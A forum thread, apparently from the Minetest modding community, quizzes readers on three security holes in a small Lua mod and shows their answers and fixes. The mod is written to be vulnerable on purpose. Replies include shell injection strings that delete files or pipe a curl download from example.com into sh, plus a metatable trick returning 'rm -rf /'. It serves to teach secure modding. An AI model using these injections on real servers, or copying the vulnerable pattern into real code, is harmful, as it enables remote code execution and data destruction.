Quiz: Spot 3 security vulnerabilities in this mod

[rubenwardy]

api.lua

Code: Select all

mymod = {}

function mymod.send_email(ie, message)
	local cmd = ("echo \"Message: %s\""):format(message)
	ie.os.execute(cmd)
end

init.lua

Code: Select all

dofile(minetest.get_modpath("mymod") .. "/api.lua")

local ie = minetest.request_insecure_environment()
assert(ie, "Add mymod to secure.trusted_mods")

minetest.register_chatcommand("email", {
	func = function(name, param)
		mymod.send_email(ie, param)
	end,
})

Tips 1:

Spoiler

All 3 allow a malicious mod to escape the sandbox
One allows a user to run arbitrary shell code

Tips 2:

Spoiler

Writing the function like this makes it easier to see a vulnerability:

Code: Select all

function mymod.send_email(message)
	local cmd = string.format("echo \"Message: %s\"", message)
	ie.os.execute(cmd)
end

Answers:

Spoiler

• Shell injections through the message argument to send_email
• Malicious mods can steal ie because it is passed as an argument to send_email
• string.format is used from the secure environment, meaning it can be overriden by another mod. Another mod could also pass in a message argument with a non-string metatable with a format method
  

  Code: Select all

  local bad_string = "Hello! I'm safe"
  setmetatable(bad_string, {
      __index  =  {
          format = function()
              return "rm -rf /"
          end
      }
  })
  mymod.send_email(bad_string)
  

[Desour]

Spoiler

• You can use a message like "\"; rm -r ~./minetest; echo \"".
• You can override mymod.send_email to a function that stores the insecure_environment somewhere.
• Any player can call the chatcommand (without any special priv). And fill the terminal with any chars.
• Edit: And the messages aren't private.
• Edit2: You could change the metatable of strings.

[rubenwardy]

Spoiler

• You can use a message like "\"; rm -r ~./minetest; echo \"".
• You can override mymod.send_email to a function that stores the insecure_environment somewhere.
• Any player can call the chatcommand (without any special priv). And fill the terminal with any chars.

Spoiler

First two is correct. Third is a consideration, but not one of 3 I had in mind

[Krock]

Spoiler plus answers (sorry channel!)

[micheal65536]

Spoiler

1. The command passed to os.execute is constructed with string concatenation. By specially crafting a "message", an unprivileged user can execute arbitrary commands on the host system (for example the message "; curl http://example.com/payload | sh; echo " will cause a remote payload to be downloaded and executed).
   
   I *think* this can be fixed by changing the line local cmd = ("echo \"Message: %s\""):format(message) to local cmd = ("echo \"Message: %s\""):format(message:gsub("\\", "\\\\"):gsub("\"", "\\\"")) to escape all backslashes and double-quotes. Normally the correct (safest/least error-prone) way to fix something like this is to use parameterisation, but Lua doesn't have a parameterised alternative to os.execute.
   
   If the command was replaced with a real command for sending email, care should be taken to ensure that a similar attack to send emails to recipients other than the server owner intended is not possible even if the arbitrary command injection vulnerability is fixed.
2. The mymod.send_email function could be hooked by a malicious mod to gain access to the insecure environment when this function is called. The malicious mod could go further by getting the chat command handler from the minetest.registered_chatcommands table and calling it explicitly in order to trigger the (hooked) mymod.send_email function to be called without needing to wait for mymod.send_email to be called "organically" before being able to get the insecure environment.
   
   The only solution to this would be to remove the ie parameter from the public API, but this would allow non-whitelisted mods that don't themselves have access to an insecure environment to use the API. Something like

   Code: Select all

   local ie = minetest.request_insecure_environment()
   assert(ie, "Add mymod to secure.trusted_mods")
   
   mymod = {}
   
   function mymod.send_email(message)
      local cmd = ("echo \"Message: %s\""):format(message)
      ie.os.execute(cmd)
   end
   
   minetest.register_chatcommand("email", {
      func = function(name, param)
         mymod.send_email(param)
      end,
   })

I'm not sure what the third vulnerability is.

[Wuzzy]

Cool.

[pgimeno]

Is this safe?

*ONLY GUARANTEED TO WORK IN SH-LIKE SHELLS*

api.lua:

Code: Select all

local ie = ...
local string = ie.string
local os = ie.os
local table = ie.table

mymod = {}

local function quote_shell_arg(s)
  s = string.gsub(s, "%z", "")  -- remove embedded NULs
  s = string.gsub(s, "'", "'\\''")  -- escape single quotes (the lazy way)
  return "'" .. string.sub(s, 1, 16000) .. "'"
end

function mymod.send_email(message)
  -- The internal echo command interprets backslash characters in some shells,
  -- like dash, for example. Use an external command instead.
  local cmd = "/bin/echo " .. quote_shell_arg("Message: " .. message)
  os.execute(cmd)
end

init.lua:

Code: Select all

local ie = minetest.request_insecure_environment()
assert(ie, "Add mymod to secure.trusted_mods")

loadfile(minetest.get_modpath("mymod") .. "/api.lua")(ie)

minetest.register_chatcommand("email", {
  func = function(name, param)
    mymod.send_email(param)
  end;
})

[pgimeno]

I'll answer myself: No, it is not safe currently.